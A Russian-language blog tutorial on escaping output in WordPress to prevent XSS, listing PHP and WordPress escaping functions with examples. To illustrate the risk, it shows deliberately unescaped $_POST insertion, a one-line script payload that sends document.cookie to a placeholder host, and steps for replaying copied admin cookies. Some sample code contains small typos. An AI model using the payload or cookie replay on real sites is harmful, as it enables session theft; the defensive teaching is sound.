Безопасный вывод на wordpress:
Безопасный вывод на WordPress заключается в предотвращении различных ошибок. Например, неправильно закрытый тег в строке может нарушить структуру HTML документа, а вредоносный JavaScript код, добавленный злоумышленником в строку между тегами <script>, может быть выполнен при посещении сайта авторизованным пользователем и привести к взлому сайта.
Для предотвращения подобных ошибок и атак XSS используется метод escaping, который заключается в удалении нежелательных символов, HTML тегов или их преобразовании в безопасные для вывода HTML сущности.
Что такое Cross-site scripting (XSS)
Cross-site scripting (XSS) — это тип уязвимости, который может быть обнаружен в некоторых веб-приложениях. Атаки XSS позволяют злоумышленникам внедрять скрипты на стороне клиента на веб-страницы, просматриваемые другими пользователями. Уязвимость, связанная с XSS, может быть использована злоумышленниками для обхода контроля доступа, такого как политика одного источника. Атаки XSS составляли примерно 84% всех уязвимостей безопасности, зафиксированных Symantec до 2007 года. Воздействие XSS может варьироваться от незначительных проблем до серьезных угроз безопасности, в зависимости от степени чувствительности обрабатываемых уязвимым сайтом данных и от мер безопасности, принимаемых владельцем сети сайта.
Пример небезопасной обработки данных
Рассмотрим простой код, который добавляет запись в базу данных:
$post_title   = $_POST['post_title'];
$post_content = $_POST['post_content'];
global $wpdb;
$wpdb->insert(
	$wpdb->posts,
	[
		'ID'           => null,
		'post_type'    => 'entry',
		'post_title'   => $post_title,
		'post_content' => $post_content,
	]
);Как вы видите, мы отправляем в базу заголовок ($post_title) и контент записи ($post_content) и хорошо если данные будут простым текстом, тогда проблем не возникнет. Но если вместо простого текста, в поле вводы введут что то вроде: 
<script>fetch( '.../cakemonster=' + escape(document.cookie) )</script>Что произойдет, когда администратор посетит запись в панели администратора? Все ваши cookie будут переданы на сервер, когда администратор посетит страницу записи.
Почему это должно беспокоить? Что можно сделать с этими cookie? Ничего особенного, просто войти как тот же пользователь в административную область без логина и пароля.
Вы можете попробовать и убедиться в этом, следуя нескольким простым шагам:
- Посетите панель администратора как пользователь.
- Откройте панель разработчика.
- Перейдите на вкладку «Application».
- Перейдите в раздел «Cookies».
- Скопируйте 3 куки со скриншота в новое окно в режиме инкогнито.
- Перезагрузите страницу в режиме инкогнито и вы будете автоматически авторизованы.

Escaping функции. Безопасный вывод на wordpress
Очень сложно защитить свой сайт от всех видов инъекций, наиболее опасными из которых являются XSS-инъекции, их огромное количество. Каждый раз киберпреступники разрабатывают все новые и новые способы внедрения вредоносного кода на ваш сайт. К счастью, здесь начинает работать второй этап защиты, который необходимо использовать с первого дня работы с WordPress. Одно золотое правило, которое вы должны запомнить как разработчик: всегда экранируйте свой код вывода.
Функции экранирования в PHP
- (int) $var,
- (float) $var,
- intval( mixed $value, int $base = 10 ): int,
- floatval( mixed $value ): float,
- number_format(float $num, int $decimals = 0, ?string $decimal_separator = '.', ?string $thousands_separator = ','): string,
- highlight_string(string $string, bool $return = false): string|bool,
- json_encode(mixed $value, int $flags = 0, int $depth = 512): string|false,
- rawurlencode(string $string): string,
- urlencode( string $value ): string,
- urlencode_deep( mixed $value ): mixed,
Функции экранирования в WordPress
- absint( mixed $maybeint ): int,
- esc_attr__( string $text, string $domain = 'default' ): string,
- esc_attr_e( string $text, string $domain = 'default' ): string,
- esc_attr_x( string $text, string $context, string $domain = 'default' ): string,
- esc_attr( string $text ): string,
- esc_html__( string $text, string $domain = 'default' ): string,
- esc_html_e( string $text, string $domain = 'default' ): string,
- esc_html_x( string $text, string $context, string $domain = 'default' ): string,
- esc_html( string $text ): string,
- esc_js( string $text ): string,
- esc_sql( string|array $data ): string|array,
- esc_textarea( string $text ): string,
- esc_url_raw( string $url, string[] $protocols = null ): string,
- esc_url( string $url, string[] $protocols = null, string $_context = 'display' ): string,
- sanitize_hex_color( string $color ): string|void,
- sanitize_hex_color_no_hash( string $color ): string|void,
- sanitize_html_class( string $class, $fallback = '' ): string,
- sanitize_key( string $key ): string,
- sanitize_user_field( string $field, mixed $value, int $user_id, string $context ): mixed,
- tag_escape( string $tag_name ): string,
- wp_json_encode(mixed $value, int $flags = 0, int $depth = 512): string|false,
- wp_kses_allowed_html( string|array $context = '' ): array,
- wp_kses_data( string $data ): string,
- wp_kses_post( string $data ): string,
- wp_kses( string $string, array[]|string $allowed_html, string[] $allowed_protocols = [] ): string,
Когда нужно производить экранирование
Экранировать данные нужно тогда, когда мы выводим что-то (используем функции echo, print, printf и т.д.). Пример кода с обработкой данных:
<div class="security-block">
	<?php foreach ( $items as $key => $item ) { ?>
		<div class="security-block-item" data-key="<?php echo esc_attr( $key ); ?>">
			<?php echo esc_html( $item ); ?>
		</div>
	<?php } ?>
</div>esc_html или esc_attr? В чем разница? На данный момент эти функции практически идентичны по коду, но имеют логически разную цель. Функцию esc_attr необходимо использовать для всех атрибутов HTML, а esc_html — внутри HTML тегов. Например:
// Неверно:
<input type="text" value="<?php echo esc_html( $value ); ?>">
<textarea><?php echo esc_attr( $value ); ?></textarea>
// Верно:
<input type="text" value="<?php echo esc_attr( $value ); ?>">
<textarea><?php echo esc_html( $value ); ?></textarea>Следующая проблема, с которой вы можете столкнуться при позднем экранировании, — как вывести переменную с HTML кодом внутри? Здесь поможет функция wp_kses, которая также защитит вывод:
<?php
function get_security_block( $items ) {
	$output  = '';
	$output .= '<div class="security-block">';
	foreach ( $items as $key => $item ) {
		$output .= sprintf(
			'<div class="security-block-item" data-index="%d">%s</div>',
			absint( $key ),
			esc_html( $item )
		);
	}
	$output .= '</div>';
	return $output;
}
function the_security_block( $items ) {
	echo wp_kses(
		get_security_block( $items ),
		[
			'div' => [
				'class'      => true,
				'data-index' => true,
			],
		]
	);
}Как безопасно распечатать переменную HTML со множеством неизвестных тегов и атрибутов внутри? Например, контент WYSIWYG может содержать слишком много различных HTML-тегов. Функция wp_kses может быть здесь длиннее кольца Сатурна. Вы можете использовать функцию wp_kses_post, которая оставляет только теги, относящиеся к типичному содержимому в вашем HTML-коде:
<?php
function the_security_block( $items ) {
	echo wp_kses_post( get_security_block( $items ) );
}Основные функции экранирования
- esc_html( $text )— Функция заменяет специальные символы на соответствующие HTML-сущности в переданном тексте и возвращает отформатированный текст. Символы, которые заменяются, включают- &, <, >, ", и '.
- esc_url( $text )— Функция очищает URL для использования в тексте, удаляя опасные символы и изменяя неправильные. Возвращает очищенный URL.
- esc_js( $text )— Функция подготавливает переданный текст для использования в JavaScript, экранируя кавычки и заменяя символы, такие как- <, >, &, " и ', на соответствующие специальные символы HTML. Она также поправляет окончания строк, чтобы избежать ошибок.
- esc_attr( $text )— Функция преобразует знаки- <, >, &, ", 'в соответствующие HTML-сущности и возвращает отформатированный текст. Она не создает двойного преобразования и предназначена для использования с атрибутами HTML.
Примеры использования основных функций
Функция esc_html() используется для очистки текста, который будет выводиться в HTML тегах и без них.
<h2><?php echo esc_html( $title ); ?></h2>Функция esc_attr() используется для очистки любого текста, который будет выводиться в атрибутах HTML тегов.
<ol class="<?php esc_attr( $list_class ); ?>"></ol>Функция esc_url() используется для очистки всех URL, включая те, которые находятся в атрибутах href или src.
<a href="<?php echo esc_url( $iurl ); ?>">
   <img src="<?php echo esc_url( $image_url ); ?>">
</a>Функция esc_js() используется для очистки кода Javascript, который будет выводиться внутри HTML тегов.
<a href="#" onclick="<?php echo esc_js( $custom_js ); ?>">Button</a>Локализация и безопасный вывод на wordpress
Для перевода строк с использованием локализации, можно использовать специальные функции, такие как _e() и __().
Для этих функций существуют заменители, которые позволяют сначала перевести строку, а затем сразу очистить и вывести на экран. Например:
esc_html_e( 'Hello World', 'text_domain' ); //выводит на экран
$val = esc_html__( 'Hello World', 'text_domain' ); //возвращает значение
- esc_html__()— Очищает строку от спецсимволов и делает ее безопасной для вывода на экран, а также осуществляет перевод строки на другой язык при помощи функции- __().
- esc_html_e()— Аналогично- esc_html__(), но сразу выводит результат на экран.
- esc_html_x()— Аналогично- esc_html__(), но также принимает домен для локализации.
- esc_attr__()— Очищает строку от спецсимволов и делает ее безопасной для использования в атрибутах HTML, а также осуществляет перевод строки на другой язык при помощи функции- __().
- esc_attr_e()— Аналогично- esc_attr__(), но сразу выводит результат на экран.
- esc_attr_x()— Аналогично- esc_attr__(), но также принимает домен для локализации.
Как создать свою функцию для экранирования?
В случае если вы хотите создать персональную функцию со специфическими условиями, чтобы фильтрации не подвергались определенные html тэги, можете использовать следующий подход:
<?php
function my_plugin_esc_notice( $notice ) {
	return wp_kses(
		$notice,
		[
			'a'.     => [
				'class'  => [],
				'href'   => [],
				'rel'    => [],
				'target' => [],
			],
			'div'    => [
				'class' => [],
			],
			'strong' => []
		]
	);
}Заключение. Безопасный вывод на wordpress
Вывод данных на веб-странице является критически важным аспектом безопасности веб-приложений. WordPress предоставляет различные функции очистки вывода для защиты от атак XSS и других векторов атак. Использование правильных функций очистки вывода на всех этапах разработки является хорошей практикой безопасности WordPress и поможет избежать многих потенциальных уязвимостей. Надеемся, что эта статья помогла вам лучше понять, как безопасно выводить данные на страницах WordPress и как использовать соответствующие функции очистки вывода. Подписывайтесь на мой телеграм чтобы получать уведомления о новых статьях по WordPress.
 
         
                          

 
               
               
               
               
               
               
               
               
              